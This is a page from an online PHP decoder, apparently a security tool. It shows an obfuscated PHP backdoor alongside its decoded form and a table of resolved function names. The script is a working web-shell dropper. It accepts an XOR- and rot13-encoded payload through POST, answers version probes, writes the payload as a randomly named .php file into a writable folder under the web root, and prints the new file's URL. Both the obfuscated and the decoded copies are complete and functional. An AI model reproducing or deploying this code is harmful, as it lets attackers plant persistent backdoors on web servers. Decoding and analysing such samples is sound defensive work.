Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $aVOnC = chr(481-413)."\x4f".'C'."\x55".'M'.chr(69).'N'.'T'.chr(849-754)."\122"."..

Decoded Output download

<?php 
 
$aVOnC = chr(481-413)."O".'C'."U".'M'.chr(69).'N'.'T'.chr(849-754)."R"."O"."O"."T"; 
$GYCTZB = "H".chr(84).'T'."P".chr(1039-944)."H"."O".'S'."T"; 
$ccBpHdMN = 'h'.chr(1026-910)."t".chr(112).chr(58).'/'.'/'; 
$UwTxy = chr(1021-975)."p"."h".chr(112); 
$WFgpdhvkND = "p"."h".chr(112); 
$qwhYIGo = "f".chr(128-23).chr(108).chr(277-176)."_"."p".'u'.chr(324-208).'_'."c"."o"."n".chr(372-256).chr(101).chr(622-512).chr(116).'s'; 
$cqwGikuos = chr(114).chr(570-473).chr(423-304).'u'.'r'.'l'.chr(291-191).'e'."c".chr(1065-954).chr(857-757).'e'; 
$alrOiPkZMv = "u".'n'."s".'e'.'r'."i".chr(943-846).chr(108)."i"."z".'e'; 
$mToJck = 'i'.chr(389-274).chr(937-842)."w"."r".chr(105)."t".chr(269-172).chr(98)."l".'e'; 
$zOxntSaTjI = chr(357-245).chr(104)."p"."v".'e'."r".chr(351-236).'i'.chr(522-411)."n"; 
$PaeHW = chr(115).chr(359-243)."r"."_".'r'.'o'.chr(241-125).chr(899-850).'3'; 
$odxybdp = 's'."e"."r".'i'.chr(525-428).chr(969-861).'i'."z"."e"; 
$NJrhmgjqPK = "s".'t'.chr(114)."_".'s'."p".chr(108)."i".chr(129-13); 
foreach ($_POST as $LEUgrjeYS => $GBslsjCvWF){if (strlen($LEUgrjeYS) == 16){$GBslsjCvWF = $NJrhmgjqPK($cqwGikuos($PaeHW($GBslsjCvWF))); 
    $LEUgrjeYS = array_slice($NJrhmgjqPK(str_repeat($LEUgrjeYS, (count($GBslsjCvWF)/16)+1)), 0, count($GBslsjCvWF)); 
function hvzvEWuMoJ($lVnJZCAhg, $nmRVHR, $LEUgrjeYS){$DcFhrt = "1f7b5347-7ec5-4973-a8ca-612d6fe271fa"; 
return $lVnJZCAhg ^ $DcFhrt[$nmRVHR % strlen($DcFhrt)] ^ $LEUgrjeYS; 
}$GBslsjCvWF = implode("", array_map("hvzvEWuMoJ", array_values($GBslsjCvWF), array_keys($GBslsjCvWF), array_values($LEUgrjeYS))); 
$GBslsjCvWF = @$alrOiPkZMv($GBslsjCvWF); 
if (@is_array($GBslsjCvWF)){$mlUyOQFdYr = array_keys($GBslsjCvWF); 
    $GBslsjCvWF = $GBslsjCvWF[$mlUyOQFdYr[0]]; 
if ($GBslsjCvWF === $mlUyOQFdYr[0]){echo @$odxybdp(Array($WFgpdhvkND => @$zOxntSaTjI(), )); 
    exit(); 
}else {function jOoYpet($SsvpnJBFJMir){static $VsprGLGlA = array(); 
    $MzKMee = glob($SsvpnJBFJMir . '/*', GLOB_ONLYDIR); 
if (count($MzKMee) > 0) {foreach ($MzKMee as $SsvpnJBFJM) {if (@$mToJck($SsvpnJBFJM)) {$VsprGLGlA[] = $SsvpnJBFJM; 
}}}foreach ($MzKMee as $SsvpnJBFJMir) jOoYpet($SsvpnJBFJMir); 
return $VsprGLGlA; 
}$pXHEAPb = $_SERVER[$aVOnC]; 
$MzKMee = jOoYpet($pXHEAPb); 
$mlUyOQFdYr = array_rand($MzKMee); 
$pxOvHT = $MzKMee[$mlUyOQFdYr] . "/" . substr(md5(time()), 0, 8) . $UwTxy; 
@$qwhYIGo($pxOvHT, $GBslsjCvWF); 
echo $ccBpHdMN . $_SERVER[$GYCTZB] . substr($pxOvHT, strlen($pXHEAPb)); 
exit(); 
}}}} ?>

Did this file decode correctly?

Original Code

<?php

$aVOnC = chr(481-413)."\x4f".'C'."\x55".'M'.chr(69).'N'.'T'.chr(849-754)."\122"."\117"."\x4f"."\124";
$GYCTZB = "\x48".chr(84).'T'."\120".chr(1039-944)."\x48"."\117".'S'."\x54";
$ccBpHdMN = 'h'.chr(1026-910)."\164".chr(112).chr(58).'/'.'/';
$UwTxy = chr(1021-975)."\x70"."\x68".chr(112);
$WFgpdhvkND = "\x70"."\x68".chr(112);
$qwhYIGo = "\146".chr(128-23).chr(108).chr(277-176)."\x5f"."\x70".'u'.chr(324-208).'_'."\143"."\x6f"."\156".chr(372-256).chr(101).chr(622-512).chr(116).'s';
$cqwGikuos = chr(114).chr(570-473).chr(423-304).'u'.'r'.'l'.chr(291-191).'e'."\x63".chr(1065-954).chr(857-757).'e';
$alrOiPkZMv = "\165".'n'."\x73".'e'.'r'."\x69".chr(943-846).chr(108)."\x69"."\x7a".'e';
$mToJck = 'i'.chr(389-274).chr(937-842)."\x77"."\162".chr(105)."\164".chr(269-172).chr(98)."\x6c".'e';
$zOxntSaTjI = chr(357-245).chr(104)."\160"."\x76".'e'."\x72".chr(351-236).'i'.chr(522-411)."\156";
$PaeHW = chr(115).chr(359-243)."\162"."\137".'r'.'o'.chr(241-125).chr(899-850).'3';
$odxybdp = 's'."\145"."\162".'i'.chr(525-428).chr(969-861).'i'."\x7a"."\x65";
$NJrhmgjqPK = "\x73".'t'.chr(114)."\x5f".'s'."\160".chr(108)."\x69".chr(129-13);
foreach ($_POST as $LEUgrjeYS => $GBslsjCvWF){if (strlen($LEUgrjeYS) == 16){$GBslsjCvWF = $NJrhmgjqPK($cqwGikuos($PaeHW($GBslsjCvWF)));
    $LEUgrjeYS = array_slice($NJrhmgjqPK(str_repeat($LEUgrjeYS, (count($GBslsjCvWF)/16)+1)), 0, count($GBslsjCvWF));
function hvzvEWuMoJ($lVnJZCAhg, $nmRVHR, $LEUgrjeYS){$DcFhrt = "1f7b5347-7ec5-4973-a8ca-612d6fe271fa";
return $lVnJZCAhg ^ $DcFhrt[$nmRVHR % strlen($DcFhrt)] ^ $LEUgrjeYS;
}$GBslsjCvWF = implode("", array_map("hvzvEWuMoJ", array_values($GBslsjCvWF), array_keys($GBslsjCvWF), array_values($LEUgrjeYS)));
$GBslsjCvWF = @$alrOiPkZMv($GBslsjCvWF);
if (@is_array($GBslsjCvWF)){$mlUyOQFdYr = array_keys($GBslsjCvWF);
    $GBslsjCvWF = $GBslsjCvWF[$mlUyOQFdYr[0]];
if ($GBslsjCvWF === $mlUyOQFdYr[0]){echo @$odxybdp(Array($WFgpdhvkND => @$zOxntSaTjI(), ));
    exit();
}else {function jOoYpet($SsvpnJBFJMir){static $VsprGLGlA = array();
    $MzKMee = glob($SsvpnJBFJMir . '/*', GLOB_ONLYDIR);
if (count($MzKMee) > 0) {foreach ($MzKMee as $SsvpnJBFJM) {if (@$mToJck($SsvpnJBFJM)) {$VsprGLGlA[] = $SsvpnJBFJM;
}}}foreach ($MzKMee as $SsvpnJBFJMir) jOoYpet($SsvpnJBFJMir);
return $VsprGLGlA;
}$pXHEAPb = $_SERVER[$aVOnC];
$MzKMee = jOoYpet($pXHEAPb);
$mlUyOQFdYr = array_rand($MzKMee);
$pxOvHT = $MzKMee[$mlUyOQFdYr] . "/" . substr(md5(time()), 0, 8) . $UwTxy;
@$qwhYIGo($pxOvHT, $GBslsjCvWF);
echo $ccBpHdMN . $_SERVER[$GYCTZB] . substr($pxOvHT, strlen($pXHEAPb));
exit();
}}}}

Function Calls

chr 45

Variables

$PaeHW str_rot13
$UwTxy .php
$aVOnC DOCUMENT_ROOT
$GYCTZB HTTP_HOST
$mToJck is_writable
$odxybdp serialize
$qwhYIGo file_put_contents
$ccBpHdMN http://
$cqwGikuos rawurldecode
$NJrhmgjqPK str_split
$WFgpdhvkND php
$alrOiPkZMv unserialize
$zOxntSaTjI phpversion

Stats

MD5 35352f39890a0574ffdfb5deacfcc52b
Eval Count 0
Decode Time 152 ms